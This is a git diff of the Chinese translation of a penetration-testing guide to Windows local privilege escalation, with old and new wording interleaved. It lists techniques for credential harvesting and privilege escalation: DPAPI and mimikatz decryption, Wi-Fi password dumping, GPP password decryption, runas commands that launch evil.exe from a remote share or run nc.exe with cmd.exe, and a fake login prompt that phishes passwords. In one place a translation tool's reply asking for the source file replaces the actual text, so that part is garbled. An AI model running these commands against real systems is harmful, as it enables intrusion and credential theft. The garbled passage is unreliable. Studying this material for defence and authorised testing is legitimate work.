":\\ everyone authenticated users todos %username%" && echo. ) ``` -有关如何滥用此检查的更多信息: +有关如何利用此检查的更多信息: {{#ref}} @@ -656,19 +668,19 @@ net share #Check current shares ``` ### hosts file -检查 hosts 文件中硬编码的其他已知计算机 +检查 hosts file 中是否存在其他已知计算机的硬编码条目 ``` type C:\Windows\System32\drivers\etc\hosts ``` -### 网络接口与DNS +### 网络接口 & DNS ``` ipconfig /all Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address Get-DnsClientServerAddress -AddressFamily IPv4 | ft ``` -### 开放端口 +### Open Ports -检查外部的 **受限服务** +从外部检查**受限服务** ```bash netstat -ano #Opened ports? ``` @@ -684,27 +696,27 @@ Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,L ``` ### 防火墙规则 -[**查看此页面以获取与防火墙相关的命令**](../basic-cmd-for-pentesters.md#firewall) **(列出规则,创建规则,关闭,关闭...)** +[**请查看此页的防火墙相关命令**](../basic-cmd-for-pentesters.md#firewall) **(列出规则、创建规则、关闭、关闭...)** -更多[网络枚举命令在这里](../basic-cmd-for-pentesters.md#network) +更多[ 网络枚举的命令在此](../basic-cmd-for-pentesters.md#network) -### Windows 子系统 for Linux (wsl) +### Windows Subsystem for Linux (wsl) ```bash C:\Windows\System32\bash.exe C:\Windows\System32\wsl.exe ``` -二进制 `bash.exe` 也可以在 `C:\Windows\WinSxS\amd64_microsoft-windows-lxssbash_[...]\bash.exe` 中找到。 +二进制 `bash.exe` 也可以在 `C:\Windows\WinSxS\amd64_microsoft-windows-lxssbash_[...]\bash.exe` 找到。 -如果你获得了 root 用户权限,你可以在任何端口上监听(第一次使用 `nc.exe` 在端口上监听时,它会通过 GUI 询问是否允许 `nc` 通过防火墙)。 +如果获得 root user,你可以在任意端口监听(第一次使用 `nc.exe` 在端口上监听时,它会通过 GUI 提示是否允许 `nc` 被防火墙放行)。 ```bash wsl whoami ./ubuntun1604.exe config --default-user root wsl whoami wsl python -c 'BIND_OR_REVERSE_SHELL_PYTHON_CODE' ``` -要轻松以 root 身份启动 bash,您可以尝试 `--default-user root` +要轻松以 root 启动 bash,可以尝试 `--default-user root` -您可以在文件夹 `C:\Users\%USERNAME%\AppData\Local\Packages\CanonicalGroupLimited.UbuntuonWindows_79rhkp1fndgsc\LocalState\rootfs\` 中浏览 `WSL` 文件系统。 +你可以在文件夹 `C:\Users\%USERNAME%\AppData\Local\Packages\CanonicalGroupLimited.UbuntuonWindows_79rhkp1fndgsc\LocalState\rootfs\` 中浏览 `WSL` 文件系统 ## Windows 凭据 @@ -720,16 +732,16 @@ reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDef reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultUserName reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultPassword ``` -### 凭据管理器 / Windows Vault +### 凭证管理器 / Windows vault -来自 [https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault](https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault)\ -Windows Vault 存储用户在服务器、网站和其他程序的凭据,**Windows** 可以 **自动登录用户**。乍一看,这似乎是用户可以存储他们的 Facebook 凭据、Twitter 凭据、Gmail 凭据等,以便他们通过浏览器自动登录。但事实并非如此。 +From [https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault](https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault)\ +The Windows Vault 存储用于服务器、网站和其他程序的用户凭证,**Windows** 可以 **自动登录用户**。乍一看,这可能让人觉得用户可以存储他们的 Facebook、Twitter、Gmail 等凭证,以便通过浏览器自动登录。但事实并非如此。 -Windows Vault 存储 Windows 可以自动登录用户的凭据,这意味着任何 **需要凭据来访问资源的 Windows 应用程序**(服务器或网站)**都可以利用这个凭据管理器**和 Windows Vault,并使用提供的凭据,而不是用户每次都输入用户名和密码。 +Windows Vault 存储那些 Windows 可以自动登录用户的凭证,这意味着任何 **需要凭证来访问资源的 Windows 应用程序**(服务器或网站)**可以使用此 Credential Manager** & Windows Vault,并使用存储的凭证,而不是让用户每次都输入用户名和密码。 -除非应用程序与凭据管理器交互,否则我认为它们不可能使用给定资源的凭据。因此,如果您的应用程序想要使用 Vault,它应该以某种方式 **与凭据管理器通信并请求该资源的凭据**,从默认存储 Vault 中获取。 +除非应用程序与 Credential Manager 交互,否则我认为它们不可能使用给定资源的凭证。因此,如果你的应用程序想要使用 vault,它应以某种方式 **与 Credential Manager 通信并请求该资源的凭证**,从默认的存储 vault 获取。 -使用 `cmdkey` 列出机器上存储的凭据。 +使用 `cmdkey` 列出机器上存储的凭证。 ```bash cmdkey /list Currently stored credentials: @@ -737,38 +749,38 @@ Target: Domain:interactive=WORKGROUP\Administrator Type: Domain Password User: WORKGROUP\Administrator ``` -然后您可以使用 `runas` 命令和 `/savecred` 选项来使用保存的凭据。以下示例通过 SMB 共享调用远程二进制文件。 +然后你可以使用 `runas` 和 `/savecred` 选项来使用已保存的凭证。下面的示例通过 SMB 共享调用远程二进制文件。 ```bash runas /savecred /user:WORKGROUP\Administrator "\\10.XXX.XXX.XXX\SHARE\evil.exe" ``` -使用 `runas` 和提供的凭据集。 +使用一组提供的凭据运行 `runas`。 ```bash C:\Windows\System32\runas.exe /env /noprofile /user: "c:\users\Public\nc.exe -nc 4444 -e cmd.exe" ``` -注意,mimikatz、lazagne、[credentialfileview](https://www.nirsoft.net/utils/credentials_file_view.html)、[VaultPasswordView](https://www.nirsoft.net/utils/vault_password_view.html) 或来自 [Empire Powershells module](https://github.com/EmpireProject/Empire/blob/master/data/module_source/credentials/dumpCredStore.ps1)。 +请注意 mimikatz, lazagne, [credentialfileview](https://www.nirsoft.net/utils/credentials_file_view.html), [VaultPasswordView](https://www.nirsoft.net/utils/vault_password_view.html), 或者来自 [Empire Powershells module](https://github.com/EmpireProject/Empire/blob/master/data/module_source/credentials/dumpCredStore.ps1)。 ### DPAPI -**数据保护 API (DPAPI)** 提供了一种对称加密数据的方法,主要用于 Windows 操作系统中对非对称私钥的对称加密。此加密利用用户或系统秘密显著增加熵。 +**数据保护 API (DPAPI)** 提供了一种对称加密数据的方法,主要在 Windows 操作系统中用于对非对称私钥进行对称加密。此加密利用用户或系统的秘密来显著增加熵。 -**DPAPI 通过从用户的登录秘密派生的对称密钥来实现密钥的加密**。在涉及系统加密的场景中,它利用系统的域认证秘密。 +**DPAPI 通过从用户登录凭据派生的对称密钥来对密钥进行加密**。在涉及系统加密的场景中,它使用系统的域认证秘密。 -使用 DPAPI 加密的用户 RSA 密钥存储在 `%APPDATA%\Microsoft\Protect\{SID}` 目录中,其中 `{SID}` 代表用户的 [安全标识符](https://en.wikipedia.org/wiki/Security_Identifier)。**DPAPI 密钥与保护用户私钥的主密钥位于同一文件中**,通常由 64 字节的随机数据组成。(重要的是要注意,该目录的访问受到限制,无法通过 CMD 中的 `dir` 命令列出其内容,但可以通过 PowerShell 列出)。 +使用 DPAPI 加密的用户 RSA 密钥存储在 `%APPDATA%\Microsoft\Protect\{SID}` 目录中,其中 `{SID}` 表示用户的 [Security Identifier](https://en.wikipedia.org/wiki/Security_Identifier)。**DPAPI 密钥与保护用户私钥的主密钥位于同一文件中**,通常由 64 字节的随机数据组成。(需要注意的是,对该目录的访问受限,无法通过 CMD 的 `dir` 命令列出其内容,但可以通过 PowerShell 列出。) ```bash Get-ChildItem C:\Users\USER\AppData\Roaming\Microsoft\Protect\ Get-ChildItem C:\Users\USER\AppData\Local\Microsoft\Protect\ ``` -您可以使用 **mimikatz module** `dpapi::masterkey` 和适当的参数 (`/pvk` 或 `/rpc`) 来解密它。 +你可以使用 **mimikatz module** `dpapi::masterkey` 并带适当的参数(`/pvk` 或 `/rpc`)来解密它。 -**受主密码保护的凭据文件** 通常位于: +这些 **受主密码保护的凭据文件** 通常位于: ```bash dir C:\Users\username\AppData\Local\Microsoft\Credentials\ dir C:\Users\username\AppData\Roaming\Microsoft\Credentials\ Get-ChildItem -Hidden C:\Users\username\AppData\Local\Microsoft\Credentials\ Get-ChildItem -Hidden C:\Users\username\AppData\Roaming\Microsoft\Credentials\ ``` -您可以使用 **mimikatz module** `dpapi::cred` 和适当的 `/masterkey` 进行解密。\ -您可以使用 `sekurlsa::dpapi` 模块从 **内存** 中 **提取许多 DPAPI** **主密钥**(如果您是 root)。 +你可以使用 **mimikatz module** `dpapi::cred` 并使用相应的 `/masterkey` 来解密。 +你可以使用 `sekurlsa::dpapi` 模块(如果你是 root)从 **内存** 中提取许多 **DPAPI masterkeys**。 {{#ref}} dpapi-extracting-passwords.md @@ -776,9 +788,9 @@ dpapi-extracting-passwords.md ### PowerShell 凭据 -**PowerShell 凭据** 通常用于 **脚本** 和自动化任务,以便方便地存储加密的凭据。这些凭据使用 **DPAPI** 进行保护,这通常意味着它们只能由在同一计算机上创建它们的同一用户解密。 +**PowerShell 凭据** 通常用于 **脚本** 和自动化任务,作为方便地存储加密凭据的一种方式。 这些凭据使用 **DPAPI** 进行保护,这通常意味着它们只能被创建它们的同一用户在同一台计算机上解密。 -要从包含 PS 凭据的文件中 **解密** 凭据,您可以执行: +要从包含该凭据的文件中**解密** PowerShell 凭据,你可以执行: ```bash PS C:\> $credential = Import-Clixml -Path 'C:\pass.xml' PS C:\> $credential.GetNetworkCredential().username @@ -789,7 +801,7 @@ PS C:\htb> $credential.GetNetworkCredential().password JustAPWD! ``` -### Wifi +### 无线网络 ```bash #List saved Wifi using netsh wlan show profile @@ -798,12 +810,14 @@ netsh wlan show profile key=clear #Oneliner to extract all wifi passwords cls & echo. & for /f "tokens=3,* delims=: " %a in ('netsh wlan show profiles ^| find "Profile "') do @echo off > nul & (netsh wlan show profiles name="%b" key=clear | findstr "SSID Cipher Content" | find /v "Number" & echo.) & @echo on* ``` -### 保存的 RDP 连接 +### Saved RDP Connections -您可以在 `HKEY_USERS\\Software\Microsoft\Terminal Server Client\Servers\`\ -和 `HKCU\Software\Microsoft\Terminal Server Client\Servers\` 中找到它们。 +你可以在 `HKEY_USERS\\Software\Microsoft\Terminal Server Client\Servers\`\ +和 `HKCU\Software\Microsoft\Terminal Server Client\Servers\` 中找到它们 -### 最近运行的命令 +### Recently Run Commands + +最近运行的命令 ``` HCU\\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU HKCU\\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU @@ -812,20 +826,20 @@ HKCU\\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU ``` %localappdata%\Microsoft\Remote Desktop Connection Manager\RDCMan.settings ``` -使用 **Mimikatz** `dpapi::rdg` 模块和适当的 `/masterkey` 来 **解密任何 .rdg 文件**\ -您可以使用 Mimikatz `sekurlsa::dpapi` 模块从内存中 **提取许多 DPAPI 主密钥** +使用 **Mimikatz** `dpapi::rdg` 模块并提供适当的 `/masterkey` 来 **解密任何 .rdg 文件**\ +你可以使用 **Mimikatz** `sekurlsa::dpapi` 模块从内存中 **提取许多 DPAPI masterkeys** -### 便签 +### 便笺 (Sticky Notes) -人们常常在 Windows 工作站上使用便签应用程序来 **保存密码** 和其他信息,而没有意识到它是一个数据库文件。该文件位于 `C:\Users\\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite`,始终值得搜索和检查。 +人们经常在 Windows 工作站上使用 StickyNotes 应用来 **保存密码** 和其他信息,而没有意识到它是一个数据库文件。该文件位于 `C:\Users\\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite`,值得搜索和检查。 ### AppCmd.exe -**请注意,要从 AppCmd.exe 恢复密码,您需要是管理员并在高完整性级别下运行。**\ -**AppCmd.exe** 位于 `%systemroot%\system32\inetsrv\` 目录中。\ -如果该文件存在,则可能已经配置了一些 **凭据** 并可以 **恢复**。 +**注意,要从 AppCmd.exe 恢复密码,你需要是 Administrator 并在 High Integrity level 下运行。**\ +**AppCmd.exe** 位于 `%systemroot%\system32\inetsrv\` 目录。\ +如果该文件存在,则可能配置了一些 **credentials** 并且可以被 **recovered**。 -此代码提取自 [**PowerUP**](https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1): +此代码摘自 [**PowerUP**](https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1): ```bash function Get-ApplicationHost { $OrigError = $ErrorActionPreference @@ -905,8 +919,8 @@ $ErrorActionPreference = $OrigError ``` ### SCClient / SCCM -检查 `C:\Windows\CCM\SCClient.exe` 是否存在。\ -安装程序以 **SYSTEM 权限** 运行,许多程序易受 **DLL Sideloading(信息来自** [**https://github.com/enjoiz/Privesc**](https://github.com/enjoiz/Privesc)**)。** +检查是否存在 `C:\Windows\CCM\SCClient.exe` .\ +安装程序以 **SYSTEM 权限** 运行,许多容易受到 **DLL Sideloading (信息来自** [**https://github.com/enjoiz/Privesc**](https://github.com/enjoiz/Privesc)**).** ```bash $result = Get-WmiObject -Namespace "root\ccm\clientSDK" -Class CCM_Application -Property * | select Name,SoftwareVersion if ($result) { $result } @@ -914,7 +928,7 @@ else { Write "Not Installed." } ``` ## 文件和注册表 (凭据) -### Putty 凭据 +### Putty Creds ```bash reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" /s | findstr "HKEY_CURRENT_USER HostName PortNumber UserName PublicKeyFile PortForwardings ConnectionSharing ProxyPassword ProxyUsername" #Check the values saved in each session, user/password could be there ``` @@ -922,23 +936,23 @@ reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" /s | findstr "HKEY_CURRENT_ ``` reg query HKCU\Software\SimonTatham\PuTTY\SshHostKeys\ ``` -### SSH 密钥在注册表中 +### SSH keys 在注册表中 -SSH 私钥可以存储在注册表键 `HKCU\Software\OpenSSH\Agent\Keys` 中,因此您应该检查那里是否有任何有趣的内容: +SSH 私钥可以存储在注册表键 `HKCU\Software\OpenSSH\Agent\Keys` 中,所以你应该检查那里是否有任何有趣的内容: ```bash reg query 'HKEY_CURRENT_USER\Software\OpenSSH\Agent\Keys' ``` -如果您在该路径中找到任何条目,它可能是一个保存的 SSH 密钥。它是加密存储的,但可以使用 [https://github.com/ropnop/windows_sshagent_extract](https://github.com/ropnop/windows_sshagent_extract) 容易地解密。\ -有关此技术的更多信息,请参见:[https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/](https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/) +如果你在该路径中找到任何条目,它很可能是已保存的 SSH 密钥。它以加密形式存储,但可以使用 [https://github.com/ropnop/windows_sshagent_extract](https://github.com/ropnop/windows_sshagent_extract) 轻松解密。\ +关于此技术的更多信息: [https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/](https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/) -如果 `ssh-agent` 服务未运行,并且您希望它在启动时自动启动,请运行: +如果 `ssh-agent` 服务未运行并且你希望它在启动时自动启动,请运行: ```bash Get-Service ssh-agent | Set-Service -StartupType Automatic -PassThru | Start-Service ``` > [!TIP] -> 看起来这个技术已经不再有效。我尝试创建一些 ssh 密钥,使用 `ssh-add` 添加它们,并通过 ssh 登录到一台机器。注册表 HKCU\Software\OpenSSH\Agent\Keys 不存在,procmon 在非对称密钥认证期间没有识别到 `dpapi.dll` 的使用。 +> 看起来这个技术不再有效。我尝试创建一些 ssh keys,用 `ssh-add` 添加它们,并通过 ssh 登录到一台机器。注册表 HKCU\Software\OpenSSH\Agent\Keys 不存在,procmon 在非对称密钥认证期间也没有识别出 `dpapi.dll` 的使用。 -### Unattended files +### 无人看管的文件 ``` C:\Windows\sysprep\sysprep.xml C:\Windows\sysprep\sysprep.inf @@ -953,7 +967,7 @@ C:\unattend.txt C:\unattend.inf dir /s *sysprep.inf *sysprep.xml *unattended.xml *unattend.xml *unattend.txt 2>nul ``` -您还可以使用 **metasploit** 搜索这些文件: _post/windows/gather/enum_unattend_ +你也可以使用 **metasploit** 搜索这些文件: _post/windows/gather/enum_unattend_ 示例内容: ```xml @@ -996,15 +1010,15 @@ AppData\Roaming\gcloud\access_tokens.db ``` ### McAfee SiteList.xml -搜索名为 **SiteList.xml** 的文件 +Search for a file called **SiteList.xml** -### Cached GPP Pasword +### 缓存的 GPP 密码 -之前有一个功能,允许通过组策略首选项(GPP)在一组机器上部署自定义本地管理员帐户。然而,这种方法存在重大安全缺陷。首先,存储在 SYSVOL 中的组策略对象(GPO)作为 XML 文件,可以被任何域用户访问。其次,这些 GPP 中的密码使用公开文档的默认密钥通过 AES256 加密,任何经过身份验证的用户都可以解密。这构成了严重风险,因为这可能允许用户获得提升的权限。 +过去存在一个功能,允许通过 Group Policy Preferences (GPP) 在一组机器上部署自定义的本地管理员帐户。然而,这种方法存在严重的安全缺陷。首先,Group Policy Objects (GPOs) 存储为位于 SYSVOL 的 XML 文件,任何域用户都可以访问。其次,这些 GPP 中的密码使用 AES256 并使用公开文档中的默认密钥进行加密,任何经过身份验证的用户都可以解密。这构成了严重风险,可能允许用户获取提升的权限。 -为了减轻这一风险,开发了一个功能,用于扫描包含非空 "cpassword" 字段的本地缓存 GPP 文件。找到此类文件后,该功能解密密码并返回一个自定义 PowerShell 对象。该对象包括有关 GPP 和文件位置的详细信息,有助于识别和修复此安全漏洞。 +为缓解此风险,开发了一个函数来扫描本地缓存的 GPP 文件,查找包含非空 "cpassword" 字段的文件。找到此类文件后,该函数会解密密码并返回一个自定义的 PowerShell 对象。该对象包含有关 GPP 及文件位置的详细信息,帮助识别和修复此安全漏洞。 -在 `C:\ProgramData\Microsoft\Group Policy\history` 或 _**C:\Documents and Settings\All Users\Application Data\Microsoft\Group Policy\history**(在 W Vista 之前)_ 中搜索这些文件: +Search in `C:\ProgramData\Microsoft\Group Policy\history` or in _**C:\Documents and Settings\All Users\Application Data\Microsoft\Group Policy\history** (previous to W Vista)_ for these files: - Groups.xml - Services.xml @@ -1022,7 +1036,7 @@ gpp-decrypt j1Uyj3Vx8TY9LtLZil2uAuZkFQA/4latT76ZwgdHdhw ```bash crackmapexec smb 10.10.10.10 -u username -p pwd -M gpp_autologin ``` -### IIS Web Config +### IIS Web 配置 ```bash Get-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue ``` @@ -1036,7 +1050,7 @@ C:\inetpub\wwwroot\web.config Get-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue Get-Childitem –Path C:\xampp\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue ``` -web.config 示例,包含凭据: +带有 credentials 的 web.config 示例: ```xml @@ -1074,9 +1088,9 @@ C:\inetpub\logs\LogFiles\* #Apache Get-Childitem –Path C:\ -Include access.log,error.log -File -Recurse -ErrorAction SilentlyContinue ``` -### Ask for credentials +### 向用户索取 credentials -您可以始终**要求用户输入他的凭据,甚至是其他用户的凭据**,如果您认为他可能知道它们(请注意,**直接向**客户**询问**凭据是非常**危险**的): +你可以在认为用户可能知道时,随时**要求用户输入他自己的 credentials 或甚至其他用户的 credentials**(注意直接向客户端**询问**其 **credentials** 是非常**危险**): ```bash $cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+[Environment]::UserName,[Environment]::UserDomainName); $cred.getnetworkcredential().password $cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+'anotherusername',[Environment]::UserDomainName); $cred.getnetworkcredential().password @@ -1084,9 +1098,9 @@ $cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::U #Get plaintext $cred.GetNetworkCredential() | fl ``` -### **可能包含凭据的文件名** +### **可能包含 credentials 的文件名** -已知一些文件曾经包含**明文**或**Base64**格式的**密码** +已知某些文件曾在一段时间内包含以 **clear-text** 或 **Base64** 存储的 **passwords**。 ```bash $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history vnc.ini, ultravnc.ini, *vnc* @@ -1150,7 +1164,7 @@ TypedURLs #IE %USERPROFILE%\ntuser.dat %USERPROFILE%\LocalS~1\Tempor~1\Content.IE5\index.dat ``` -搜索所有提议的文件: +我需要该文件的内容才能翻译。请粘贴 src/windows-hardening/windows-local-privilege-escalation/README.md 的文本,或列出要翻译的具体文件/段落。 ``` cd C:\ dir /s/b /A:-D RDCMan.settings == *.rdg == *_history* == httpd.conf == .htpasswd == .gitconfig == .git-credentials == Dockerfile == docker-compose.yml == access_tokens.db == accessTokens.json == azureProfile.json == appcmd.exe == scclient.exe == *.gpg$ == *.pgp$ == *config*.php == elasticsearch.y*ml == kibana.y*ml == *.p12$ == *.cer$ == known_hosts == *id_rsa* == *id_dsa* == *.ovpn == tomcat-users.xml == web.config == *.kdbx == KeePass.config == Ntds.dit == SAM == SYSTEM == security == software == FreeSSHDservice.ini == sysprep.inf == sysprep.xml == *vnc*.ini == *vnc*.c*nf* == *vnc*.txt == *vnc*.xml == php.ini == https.conf == https-xampp.conf == my.ini == my.cnf == access.log == error.log == server.xml == ConsoleHost_history.txt == pagefile.sys == NetSetup.log == iis6.log == AppEvent.Evt == SecEvent.Evt == default.sav == security.sav == software.sav == system.sav == ntuser.dat == index.dat == bash.exe == wsl.exe 2>nul | findstr /v ".dll" @@ -1161,25 +1175,25 @@ Get-Childitem –Path C:\ -Include *unattend*,*sysprep* -File -Recurse -ErrorAct ``` ### 回收站中的凭据 -您还应该检查回收站以查找其中的凭据 +你也应该检查回收站,查找其中的凭据 -要**恢复**由多个程序保存的密码,您可以使用: [http://www.nirsoft.net/password_recovery_tools.html](http://www.nirsoft.net/password_recovery_tools.html) +要**恢复密码**(由多个程序保存),你可以使用: [http://www.nirsoft.net/password_recovery_tools.html](http://www.nirsoft.net/password_recovery_tools.html) -### 注册表内部 +### 注册表中 -**其他可能包含凭据的注册表项** +**其他可能包含凭据的注册表键** ```bash reg query "HKCU\Software\ORL\WinVNC3\Password" reg query "HKLM\SYSTEM\CurrentControlSet\Services\SNMP" /s reg query "HKCU\Software\TightVNC\Server" reg query "HKCU\Software\OpenSSH\Agent\Key" ``` -[**从注册表中提取openssh密钥。**](https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/) +[**Extract openssh keys from registry.**](https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/) -### 浏览器历史 +### 浏览器历史记录 -您应该检查存储**Chrome或Firefox**密码的数据库。\ -还要检查浏览器的历史记录、书签和收藏夹,以便可能存储了一些**密码**。 +你应该检查存储 **Chrome 或 Firefox** 密码的 dbs。\ +也要检查浏览器的历史记录、书签和收藏夹,因为可能一些 **密码被** 存储在那里。 从浏览器提取密码的工具: @@ -1188,19 +1202,20 @@ reg query "HKCU\Software\OpenSSH\Agent\Key" - [**SharpChromium**](https://github.com/djhohnstein/SharpChromium) - [**SharpDPAPI**](https://github.com/GhostPack/SharpDPAPI) -### **COM DLL覆盖** +### **COM DLL Overwriting** -**组件对象模型(COM)**是内置于Windows操作系统中的一种技术,允许不同语言的软件组件之间进行**互通**。每个COM组件通过类ID(CLSID)进行**标识**,每个组件通过一个或多个接口暴露功能,这些接口通过接口ID(IIDs)进行标识。 +**Component Object Model (COM)** 是 Windows 操作系统内置的一项技术,允许不同语言的软件组件之间进行**互相通信**。每个 COM 组件是通过类 ID (CLSID) **标识的**,每个组件通过一个或多个接口来暴露功能,这些接口由接口 ID (IIDs) 标识。 -COM类和接口在注册表中分别定义于**HKEY\CLASSES\ROOT\CLSID**和**HKEY\CLASSES\ROOT\Interface**。该注册表是通过合并**HKEY\LOCAL\MACHINE\Software\Classes** + **HKEY\CURRENT\USER\Software\Classes** = **HKEY\CLASSES\ROOT**创建的。 +COM 类和接口在注册表中分别定义于 **HKEY\CLASSES\ROOT\CLSID** 和 **HKEY\CLASSES\ROOT\Interface**。该注册表是通过合并 **HKEY\LOCAL\MACHINE\Software\Classes** + **HKEY\CURRENT\USER\Software\Classes** 而创建,即 **HKEY\CLASSES\ROOT.** -在该注册表的CLSID中,您可以找到子注册表**InProcServer32**,其中包含一个指向**DLL**的**默认值**和一个名为**ThreadingModel**的值,该值可以是**Apartment**(单线程)、**Free**(多线程)、**Both**(单线程或多线程)或**Neutral**(线程中立)。 +在该注册表的 CLSID 下你可以找到子项 **InProcServer32**,其中包含一个指向 **DLL** 的**默认值**,以及名为 **ThreadingModel** 的值,其可能为 **Apartment**(单线程)、**Free**(多线程)、**Both**(单线程或多线程)或 **Neutral**(线程中立)。 ![](<../../images/image (729).png>) -基本上,如果您可以**覆盖任何将要执行的DLL**,如果该DLL将由不同用户执行,您就可以**提升权限**。 +基本上,如果你能**覆盖任何将被执行的 DLL**,当该 DLL 被不同用户执行时,你就可能**提升权限**。 + +要了解攻击者如何使用 COM Hijacking 作为持久化机制,请参阅: -要了解攻击者如何使用COM劫持作为持久性机制,请查看: {{#ref}} com-hijacking.md @@ -1214,58 +1229,58 @@ cd C:\ & findstr /SI /M "password" *.xml *.ini *.txt findstr /si password *.xml *.ini *.txt *.config findstr /spin "password" *.* ``` -**搜索具有特定文件名的文件** +**按特定文件名搜索文件** ```bash dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc* == *.config* where /R C:\ user.txt where /R C:\ *.ini ``` -**在注册表中搜索密钥名称和密码** +**在注册表中搜索 key names 和 passwords** ```bash REG QUERY HKLM /F "password" /t REG_SZ /S /K REG QUERY HKCU /F "password" /t REG_SZ /S /K REG QUERY HKLM /F "password" /t REG_SZ /S /d REG QUERY HKCU /F "password" /t REG_SZ /S /d ``` -### 搜索密码的工具 +### 用于搜索密码的工具 -[**MSF-Credentials Plugin**](https://github.com/carlospolop/MSF-Credentials) **是一个msf** 插件,我创建这个插件是为了 **自动执行每个搜索凭据的metasploit POST模块** 在受害者内部。\ -[**Winpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) 自动搜索此页面中提到的所有包含密码的文件。\ -[**Lazagne**](https://github.com/AlessandroZ/LaZagne) 是另一个从系统中提取密码的优秀工具。 +[**MSF-Credentials Plugin**](https://github.com/carlospolop/MSF-Credentials) **是一个 msf** 插件,我创建此插件以 **自动执行每个 metasploit POST module 来在受害者主机内搜索 credentials**。\ +[**Winpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) 自动搜索本页提到的所有包含密码的文件。\ +[**Lazagne**](https://github.com/AlessandroZ/LaZagne) 是另一个很好的工具,用于从系统中提取密码。 -工具 [**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) 搜索 **会话**、**用户名** 和 **密码**,这些数据由多个以明文保存的工具(PuTTY、WinSCP、FileZilla、SuperPuTTY 和 RDP)提供。 +该工具 [**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) 会搜索若干将这些数据以明文保存的工具的 **sessions**、**usernames** 和 **passwords**(PuTTY、WinSCP、FileZilla、SuperPuTTY 和 RDP) ```bash Import-Module path\to\SessionGopher.ps1; Invoke-SessionGopher -Thorough Invoke-SessionGopher -AllDomain -o Invoke-SessionGopher -AllDomain -u domain.com\adm-arvanaghi -p s3cr3tP@ss ``` -## 泄露的句柄 +## Leaked Handlers -想象一下,**一个以SYSTEM身份运行的进程**通过**完全访问**打开一个新进程(`OpenProcess()`)。同一个进程**还创建了一个新进程**(`CreateProcess()`),**具有低权限但继承了主进程的所有打开句柄**。\ -然后,如果你对这个低权限进程**拥有完全访问权限**,你可以获取通过`OpenProcess()`创建的**特权进程的打开句柄**并**注入一个shellcode**。\ -[阅读这个例子以获取有关**如何检测和利用此漏洞**的更多信息。](leaked-handle-exploitation.md)\ -[阅读这篇**其他文章以获得更完整的解释,了解如何测试和滥用具有不同权限级别(不仅仅是完全访问权限)继承的进程和线程的更多打开句柄**](http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/)。 +设想 **以 SYSTEM 身份运行的进程打开了一个新进程** (`OpenProcess()`) 并获得了 **full access**。 同一进程 **也使用 `CreateProcess()` 创建了一个新的低权限进程,但继承了主进程的所有 open handles**。\ +然后,如果你对该低权限进程拥有 **full access**,你可以获取通过 `OpenProcess()` 创建的特权进程的 **open handle** 并 **inject a shellcode**。\ +[Read this example for more information about **how to detect and exploit this vulnerability**.](leaked-handle-exploitation.md)\ +[Read this **other post for a more complete explanation on how to test and abuse more open handlers of processes and threads inherited with different levels of permissions (not only full access)**](http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/). -## 命名管道客户端 impersonation +## Named Pipe Client Impersonation -共享内存段,称为**管道**,使进程之间能够进行通信和数据传输。 +被称为 **pipes** 的共享内存段允许进程间通信和数据传输。 -Windows提供了一种称为**命名管道**的功能,允许不相关的进程共享数据,甚至跨不同网络。这类似于客户端/服务器架构,角色定义为**命名管道服务器**和**命名管道客户端**。 +Windows 提供了一个称为 **Named Pipes** 的功能,允许无关联的进程共享数据,甚至跨网络。它类似于客户端/服务器架构,角色定义为 **named pipe server** 和 **named pipe client**。 -当**客户端**通过管道发送数据时,设置管道的**服务器**有能力**采用客户端的身份**,前提是它具有必要的**SeImpersonate**权限。识别一个通过管道进行通信的**特权进程**,你可以模仿它,这提供了一个**获得更高权限**的机会,通过采用该进程的身份,一旦它与您建立的管道进行交互。有关执行此类攻击的说明,可以在[**这里**](named-pipe-client-impersonation.md)和[**这里**](#from-high-integrity-to-system)找到有用的指南。 +当 **client** 通过 pipe 发送数据时,设置该 pipe 的 **server** 如果拥有必要的 **SeImpersonate** 权限,就有能力 **采用该 client 的身份**。识别一个通过你可以模拟的 pipe 与之通信的**特权进程**,一旦该进程与你建立的 